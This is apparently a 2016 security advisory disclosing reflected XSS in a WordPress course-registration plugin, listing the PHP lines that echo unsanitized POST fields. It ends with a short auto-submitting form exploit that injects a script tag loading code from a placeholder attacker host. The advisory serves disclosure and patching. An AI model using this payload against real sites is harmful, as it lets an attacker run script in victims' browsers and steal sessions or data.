Advisory #: 1238
Title: Reflected XSS in wordpress plugin automated-registration-of-the-course v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/automated-registration-of-the-course
Downloads: 2259
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: automated-registration-of-the-course
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./automated-registration-of-the-course/functions/functions.php: 153: <td class="contact"><b><?php echo $_POST['option_courses_status'] ?></b></td> 158: <td class="contact"><b><?php echo $_POST['option_courses_time_hour1'].'-'.$_POST['option_courses_time_hour2']?></b></td> 163: <td class="contact"><b><?php echo $_POST['option_courses_status'] ?></b></td> 168: <td class="contact"><b><?php echo $_POST['option_courses_status'] ?></b></td> 173: <td class="contact"><b><?php echo $_POST['option_courses_name'] ?></b></td> 178: <td class="contact"><b><?php echo $_POST['option_courses_category'] ?></b></td> 183: <td class="contact"><b><?php echo $_POST['option_courses_decscription'] ?></b></td> 188: <td class="contact"><b><?php echo $_POST['option_courses_type'] ?></b></td> 193: <td class="contact"><b><?php echo $_POST['option_courses_duration'] ?></b></td> 198: <td class="contact"><b><?php echo $_POST['option_courses_location'] ?></b></td> 203: <td class="contact"><b><?php echo $_POST['option_courses_requirements'] ?></b></td> 208: <td class="contact"><b><?php echo $_POST['option_courses_paymentinfo']?></b></td> 213: <td class="contact"><b><?php echo $_POST['option_courses_price']?></b></td> 218: <td class="contact"><b><?php echo $_POST['option_courses_content']?></b></td> 1117: <td class="contact"><b><?php echo $_POST['option_category_name'] ?></b></td> 1122: <td class="contact"><b><?php echo $_POST['option_category_type'] ?></b></td> 1127: <td class="contact"><b><?php echo $_POST['option_category_status'] ?></b></td> The variable option_courses_status appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./automated-registration-of-the-course/functions/functions.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/automated-registration-of-the-course/functions/functions.php method=post> <input type=hidden name=option_courses_status value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>